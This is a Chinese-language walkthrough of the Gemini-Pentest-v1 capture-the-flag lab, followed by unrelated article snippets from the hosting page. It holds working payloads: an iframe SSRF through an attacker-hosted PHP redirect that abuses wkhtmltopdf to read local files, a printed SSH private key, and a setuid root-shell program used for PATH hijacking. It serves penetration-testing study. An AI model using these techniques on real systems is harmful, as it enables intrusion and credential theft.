18、Gemini-Pentest-v1
难度 中 (个人认为是高)
目标 root权限 一个flag
靶机启动环境为VMware
kali 192.168.152.56 靶机 192.168.152.64
信息收集


突破点大概就是web端了
web测试
访问主页直接就是目录遍历

不过进去后是一个正常的网页

简单的试了几个弱口令无果继续信息收集
在主页介绍了一下这个网站的作用是一个旨在让员工查看他们的个人资料详细信息,并允许他们将详细信息导出为PDF的系统
通过目录扫描扫描出了一些php文件但是大部分都打开没有内容估计是没有登录没有权限,但是有一个export.php的网页访问有显示

看着好像是管理员的一些信息
应该是有个名为 Gemini 的管理员账号,难道是爆破密码吗
后面我抓包研究这个PDF发现了一个参数?filename=还以为是文件包含,测了半天发现也不存在,实在没啥思路了只能去看一看wp
搞半天直接去github找源码里面有默认的账号密码。。。
这样太没意思了吧。。。
就这个网站

在install的时候应该是默认有个账号

看着是弱口令,也许一开始选择爆破或许也会出来,只不过这个网站有做了token验证需要写脚本也有点麻烦

进来后可以看到正是管理员的账号

突破边界
这里突破使用的方法我也是第一次遇到,当时信息收集的时候也没想过这个wkhtmltopdf会不会有什么漏洞
在actions中的编辑profile中会跳转到之前的exports.php
可以查看到当pdf的一些信息,可以看到使用的就是wkhtmltopdf

这个工具就是将html转换为PDF,此命令行工具存在一个SSRF搭配文件包含的漏洞可以实现任意文件的读取
在前期的测试中队每个输入点进行一遍测试可以发现这个display name的位置存在xss也就是可以影响到前段的html

为了验证是否存在相关漏洞可以先在此位置尝试能否加载远程的资源
<iframe src="http://ww.baidu.com"></iframe> 看能否加载百度

可以看到确实可以加载外部资源

既然可以远程文件包含那么可以尝试本地文件包含,但是此漏洞需要配合一下ssrf,需要再攻击机上写个用来重定向的代码让靶机去解析。
所以先在攻击机上面开始apache服务以及有php语言的环境然后在/var/www/html下面创建一个ssrf.php(当然能这样实现还是因为这个wkhtmltopdf存在这种解析漏洞)
写入
<?php header('location:file://'.$_REQUEST['url']); ?>

这个参数就可以用来指定具体的文件来读取
然后开启apache
service apache2 start
然后回到页面进行编辑之前的注入点
<iframe src="http://192.168.152.56/ssrf.php?url=/etc/passwd"></iframe>

因为只有在html转为PDF才会触发漏洞所以只能在export页面查看
可以看到成功的实现了文件的读取,就是框框有点小,而且还不能滑动。

重新修改一下iframe的属性把框框变大些
<iframe src="http://192.168.152.56/ssrf.php?url=/etc/passwd" width=800 height=4000></iframe>
现在就可以很舒服的读取文件了

通过查看这个passwd发现只有root和gemini1两个用户能登录,可以对gemini1进行ssh的爆破,也可以继续对靶机读取一些敏感文件
在github上面查看源码的时候其实在setting.php中出现了需要填写的数据库的账号密码的地方,是否可以尝试读取这些文件获取这些来作为ssh的登录密码呢
但是需要猜测一下绝对路径
/var/www/html/test2/inc/settings.php
<iframe src="http://192.168.152.56/ssrf.php?url=/var/www/html/test2/inc/settings.php" width=800 height=4000></iframe>

确实有密码等信息不过拿去用来登录可惜了都失败了。。。
那么前面得知了gemini1用户以及他的home目录是否他开启了私钥登录可以尝试去读取一下他的私钥或公钥呢
/home/gemini1/.ssh/id_rsa
<iframe src="http://192.168.152.56/ssrf.php?url=/home/gemini1/.ssh/id_rsa" width=800 height=4000></iframe>
也是成功的读取到了rsa了

-----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEAv8sYkCmUFupwQ8pXsm0XCAyxcR6m5y9GfRWmQmrvb9qJP3xs 6c11dX9Mi8OLBpKuB+Y08aTgWbEtUAkVEpRU+mk+wpSx54OTBMFX35x4snzz+X5u Vl1rUn9Z4QE5SJpOvfV3Ddw9zlVA0MCJGi/RW4ODRYmPHesqNHaMGKqTnRmn3/4V u7cl+KpPZmQJzASoffyBn1bxQomqTkb5AGhkAggsOPS0xv6P2g/mcmMUIRWaTH4Z DqrpqxFtJbuWSszPhuw3LLqAYry0RlEH/Mdi2RxM3VZvqDRlsV0DO74qyBhBsq+p oSbdwoXao8n7oO2ASHc05d2vtmmmGP31+4pjuQIDAQABAoIBAQCq+WuJQHeSwiWY WS46kkNg2qfoNrIFD8Dfy0ful5OhfAiz/sC84HrgZr4fLg+mqWXZBuCVtiyF6IuD eMU/Tdo/bUkUfyflQgbyy0UBw2RZgUihVpMYDKma3oqKKeQeE+k0MDmUsoyqfpeM QMc3//67fQ6uE8Xwnu593FxhtNZoyaYgz8LTpYRsaoui9j7mrQ4Q19VOQ16u4XlZ rVtRFjQqBmAKeASTaYpWKnsgoFudp6xyxWzS4uk6BlAom0teBwkcnzx9fNd2vCYR MhK5KLTDvWUf3d+eUcoUy1h+yjPvdDmlC27vcvZ0GXVvyRks+sjbNMYWl+QvNIZn 1XxD1nkxAoGBAODe4NKq0r2Biq0V/97xx76oz5zX4drh1aE6X+osRqk4+4soLauI xHaApYWYKlk4OBPMzWQC0a8mQOaL1LalYSEL8wKkkaAvfM604f3fo01rMKn9vNRC 1fAms6caNqJDPIMvOyYRe4PALNf6Yw0Hty0KowC46HHkmWEgw/pEhOZdAoGBANpY AJEhiG27iqxdHdyHC2rVnA9o2t5yZ7qqBExF7zyUJkIbgiLLyliE5JYhdZjd+abl aSdSvTKOqrxscnPmWVIxDyLDxemH7iZsEbhLkIsSKgMjCDhPBROivyQGfY17EHPu 968rdQsmJK8+X5aWxq08VzlKwArm+GeDs2hrCGUNAoGAc1G5SDA0XNz3CiaTDnk9 r0gRGGUZvU89aC5wi73jCttfHJEhQquj3QXCXM2ZQiHzmCvaVOShNcpPVCv3jSco tXLUT9GnoNdZkQPwNWqf648B6NtoIA6aekrOrO5jgDks6jWphq9GgV1nYedVLpR7 WszupOsuwWGzSr0r48eJxD0CgYEAo23HTtpIocoEbCtulIhIVXj5zNbxLBt55NAp U2XtQeyqDkVEzQK4vDUMXAtDWF6d5PxGDvbxQoxi45JQwMukA89QwvbChqAF86Bk SwvUbyPzalGob21GIYJpi2+IPoPktsIhhm4Ct4ufXcRUDAVjRHur1ehLgl2LhP+h JAEpUWkCgYEAj2kz6b+FeK+xK+FUuDbd88vjU6FB8+FL7mQFQ2Ae9IWNyuTQSpGh vXAtW/c+eaiO4gHRz60wW+FvItFa7kZAmylCAugK1m8/Ff5VZ0rHDP2YsUHT4+Bt j8XYDMgMA8VYk6alU2rEEzqZlru7BZiwUnz7QLzauGwg8ohv1H2NP9k= -----END RSA PRIVATE KEY-----
当然能不能登录还是等看看靶机上有没有公钥,于是还在读取一下.ssh/authorized_keys中有没有对应的公钥

存在公钥说明是允许某个私钥进行登录的,而且就属于gemini1
那么就可以拿着私钥去登录了
一开始还爆了个错误发现是权限问题,修改为600就可以了

提权
本次提权也是非常的有难度有细节。
首先进行常见的几种提权手法,看看内核版本,试一试sudo发现都要密码,看看是否有suid提权

并没有看到我熟知的几种可以直接用来提权的命令,然后可以一个一个去尝试但是大部分命令都要密码
直到尝试了这个listinfo

这个命令比较奇怪,打印了网卡的信息,以及两个端口的监听情况和date信息,在网上搜索了一下也没有这个命令很有可能是自己添加的

查看信息发现是一个elf的可执行文件
使用strings查看elf中出现可打印的字符串信息

发现他应该是将这个几个命令的结果整合到了一起然后打印输出
如果说我们替换了其中的一些命令那么listinfo在执行的时候是不是就会执行替换后的命令,但是这里前三个命令都指定了具体的路径并且这些文件都是当前用户没有权限进行修改的,只有最后一个date没有指定具体的路径给我们留下了可趁之机
用一段c代码保存为date.c
作用是以root的权限开启一个bin/bash
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(){setuid(0);setgid(0);system("/bin/bash");}
然后使用gcc编译
gcc date.c -o date

因为没有date指定具体的路径

在实际中date是根据环境变量中的路径去找的,从左往右找,这里他的实际路径在/bin下面
我们也无法对直接将date放到前面几个变量中,不过可以直接导入新的环境变量
export PATH=/home/gemini1/:$PATH

这下他找date命令就会先到gemini1下面找了
一切准备就绪后就可以再次运行listinfo命令了

成功提权至root并且拿到flag

后记
也是很有难度的一次提权,对于一个命令的猜测和探索,从而发现这样的提权的方式,并且后续的利用date进行提升权限直接用的c代码编译为可执行成功也很有意思,要是独立完成可能还真拿不下,不过又学到了新的姿势。
相关文章:
18、Gemini-Pentest-v1
难度 中 (个人认为是高) 目标 root权限 一个flag 靶机启动环境为VMware kali 192.168.152.56 靶机 192.168.152.64 信息收集 突破点大概就是web端了 web测试 访问主页直接就是目录遍历 不过进去后是一个正常的网页 简单的试了几个弱口令无果继续信息…...
MIT6.824 课程-MapReduce
MapReduce:在大型集群上简化数据处理 概要 MapReduce是一种编程模型,它是一种用于处理和生成大型数据集的实现。用户通过指定一个用来处理键值对(Key/Value)的map函数来生成一个中间键值对集合。然后,再指定一个reduce函数, 它用…...
7个 C# 高阶用法详解:从基础到实战
C# 高阶用法详解:从基础到实战 在实际开发中,C# 提供了很多高级特性和设计模式,帮助我们写出更加简洁、灵活和高效的代码。本篇将深入探讨 C# 中的高阶用法,通过丰富的示例,带你掌握这些工具的精髓。 1. LINQ&#x…...
[数据集][目标检测]乱堆物料检测数据集VOC+YOLO格式1143张1类别
数据集格式:Pascal VOC格式YOLO格式(不包含分割路径的txt文件,仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数):1143 标注数量(xml文件个数):1143 标注数量(txt文件个数):1143 标注…...
【SQL】百题计划:SQL对于空值的比较判断。
[SQL]百题计划 方法: 使用 <> (!) 和 IS NULL [Accepted] 想法 有的人也许会非常直观地想到如下解法。 SELECT name FROM customer WHERE referee_Id <> 2;然而,这个查询只会返回一个结果:Zach,尽管事实上有 4 个…...
OJ在线判题系统项目笔记
项目介绍 在线评测编程题目代码的系统,出题人预先设置题目的输入样例和输出样例,根据用户提交代码,进行编译代码,运行代码,判断代码执行结果是否正确。 后端服务 网关服务 接收前端请求,转发到对应的服…...
期望极大算法(Expectation Maximization Algorithm,EM)
定义 输入:观测变量数据Y,隐变量数据Z,联合分布P(Y,Z| θ \theta θ),条件分布PP(Z,Y| θ \theta θ); 输出:模型参数 θ \theta θ (1)选择参数的初值 θ ( 0 ) , 开始迭代 ; \theta^{(0)},开始迭代; θ(0),开始迭代; (2)E步:记 θ ( i ) 为第 i 次迭代参数 \theta^{(i)}为第…...
初级练习[4]:多表查询——表联结
目录 多表查询:表联结示例 查询有两门以上的课程不及格的同学的学号及其平均成绩 查询所有学生的学号、姓名、选课数、总成绩 查询平均成绩大于85的所有学生的学号、姓名和平均成绩 查询学生的选课情况:学号,姓名,课程号,课程名称 查询出每门课程的及格人数和不及格人数 …...
基于JAVA+SpringBoot+Vue的中药实验管理系统
基于JAVASpringBootVue的中药实验管理系统 前言 ✌全网粉丝20W,csdn特邀作者、博客专家、CSDN[新星计划]导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末附源码下载链接🍅 哈…...
移动硬盘读取出错结构损坏?数据恢复实战指南
移动硬盘困境:读取出错与结构损坏 在日常的数据存储与传输中,移动硬盘以其大容量、便携性成为了众多用户的首选。然而,当移动硬盘遭遇读取出错或结构损坏的困境时,那些珍贵的文件、照片、视频等数据便岌岌可危,让人心…...
Web安全之HTTPS调用详解和证书说明案例示范
随着互联网的高速发展,网络安全成为了一个不可忽视的话题,特别是在涉及用户敏感信息的业务系统中。在此背景下,使用HTTPS取代HTTP成为了大势所趋。本文将以电商交易系统为例,详细介绍HTTPS的重要性,并探讨如何通过HTTP…...
man命令学习记录
使用man来查看命令的用法 man ls 想了解Linux命令的用法假设你想查ls命令的更多信息,输入man ls,就会打开man page(man是manual的缩写,因此man page就是“手册页面”),显示关于ls命令各个方面的信息。 通常…...
Linux三剑客-grep
grep介绍 全拼: Global search REgular expression and Print out line. 作用: 文本搜索工具,根据用户指定的“模式(过滤条件)”对目标文本逐行进行匹配检查,打印匹配到的行。 模式: 有正则表达…...
备忘录模式memento
学习笔记,原文链接 https://refactoringguru.cn/design-patterns/memento 允许生成对象状态的快照并在以后将其还原。备忘录不会影响它所处理的对象的内部结构, 也不会影响快照中保存的数据。...
5-【JavaWeb】JUnit 单元测试及JUL 日志系统
1. 使用 JUnit 进行单元测试 JUnit 是 Java 中非常流行的单元测试框架,MyBatis 与 JUnit 可以很好地结合,来测试持久层代码的正确性。 1.1 添加 JUnit 依赖 在使用 JUnit 之前,需要在 pom.xml 中引入 JUnit 依赖。 <dependency><…...
多人开发小程序设置体验版的痛点
抛出痛点 在分配任务时,我们将需求分为三个分支任务,分别由前端A、B、C负责: 前端A: HCC-111-实现登录功能前端B: HCC-112-实现用户注册前端C: HCC-113-实现用户删除 相应地,我们创建三个功能分支: feature_HCC-111-实现登录功能feature_HCC-112-实现用户注册feature_HCC-1…...
【Kubernetes】常见面试题汇总(七)
目录 20.简述 Kubernetes 创建一个 Pod 的主要流程? 21.简述 Kubernetes 中 Pod 的重启策略? 20.简述 Kubernetes 创建一个 Pod 的主要流程? Kubernetes 中创建一个 Pod 涉及多个组件之间联动,主要流程如下: &#…...
EmguCV学习笔记 C# 11.1 DnnInvoke类
版权声明:本文为博主原创文章,转载请在显著位置标明本文出处以及作者网名,未经作者允许不得用于商业目的。 EmguCV是一个基于OpenCV的开源免费的跨平台计算机视觉库,它向C#和VB.NET开发者提供了OpenCV库的大部分功能。 教程VB.net版本请访问…...
论文解读 | ACL2024 Outstanding Paper:因果指导的主动学习方法:助力大语言模型自动识别并去除偏见...
点击蓝字 关注我们 AI TIME欢迎每一位AI爱好者的加入! 点击阅读原文观看作者直播讲解回放! 作者简介 孙洲浩,哈尔滨工业大学SCIR实验室博士生 概述 尽管大语言模型(LLMs)展现出了非常强大的能力,但它们仍然…...
xLSTM模型学习笔记
笔记来源:bilibili LSTM 回顾 原始的 LSTM 是为了解决 RNN 时序反向传播中梯度消失和爆炸问题而提出的。 其所谓的门控机制,其实就是一种时序上的注意力机制,相当于把不同时间进行"掺和",是对时序信息的一种选择性控制…...
[2025CVPR]DeepVideo-R1:基于难度感知回归GRPO的视频强化微调框架详解
突破视频大语言模型推理瓶颈,在多个视频基准上实现SOTA性能 一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战 安全措施依赖问题 GRPO使用min和clip函数限制策略更新幅度,导致: 梯度抑制:当新旧策略差异过大时梯度消失收敛困难:策略无法充分优化# 传统GRPO的梯…...
Vue3 + Element Plus + TypeScript中el-transfer穿梭框组件使用详解及示例
使用详解 Element Plus 的 el-transfer 组件是一个强大的穿梭框组件,常用于在两个集合之间进行数据转移,如权限分配、数据选择等场景。下面我将详细介绍其用法并提供一个完整示例。 核心特性与用法 基本属性 v-model:绑定右侧列表的值&…...
循环冗余码校验CRC码 算法步骤+详细实例计算
通信过程:(白话解释) 我们将原始待发送的消息称为 M M M,依据发送接收消息双方约定的生成多项式 G ( x ) G(x) G(x)(意思就是 G ( x ) G(x) G(x) 是已知的)࿰…...
【HarmonyOS 5.0】DevEco Testing:鸿蒙应用质量保障的终极武器
——全方位测试解决方案与代码实战 一、工具定位与核心能力 DevEco Testing是HarmonyOS官方推出的一体化测试平台,覆盖应用全生命周期测试需求,主要提供五大核心能力: 测试类型检测目标关键指标功能体验基…...
使用分级同态加密防御梯度泄漏
抽象 联邦学习 (FL) 支持跨分布式客户端进行协作模型训练,而无需共享原始数据,这使其成为在互联和自动驾驶汽车 (CAV) 等领域保护隐私的机器学习的一种很有前途的方法。然而,最近的研究表明&…...
postgresql|数据库|只读用户的创建和删除(备忘)
CREATE USER read_only WITH PASSWORD 密码 -- 连接到xxx数据库 \c xxx -- 授予对xxx数据库的只读权限 GRANT CONNECT ON DATABASE xxx TO read_only; GRANT USAGE ON SCHEMA public TO read_only; GRANT SELECT ON ALL TABLES IN SCHEMA public TO read_only; GRANT EXECUTE O…...
学习STC51单片机31(芯片为STC89C52RCRC)OLED显示屏1
每日一言 生活的美好,总是藏在那些你咬牙坚持的日子里。 硬件:OLED 以后要用到OLED的时候找到这个文件 OLED的设备地址 SSD1306"SSD" 是品牌缩写,"1306" 是产品编号。 驱动 OLED 屏幕的 IIC 总线数据传输格式 示意图 …...
uniapp中使用aixos 报错
问题: 在uniapp中使用aixos,运行后报如下错误: AxiosError: There is no suitable adapter to dispatch the request since : - adapter xhr is not supported by the environment - adapter http is not available in the build 解决方案&…...
用docker来安装部署freeswitch记录
今天刚才测试一个callcenter的项目,所以尝试安装freeswitch 1、使用轩辕镜像 - 中国开发者首选的专业 Docker 镜像加速服务平台 编辑下面/etc/docker/daemon.json文件为 {"registry-mirrors": ["https://docker.xuanyuan.me"] }同时可以进入轩…...
全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比
目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec? IPsec VPN 5.1 IPsec传输模式(Transport Mode) 5.2 IPsec隧道模式(Tunne…...
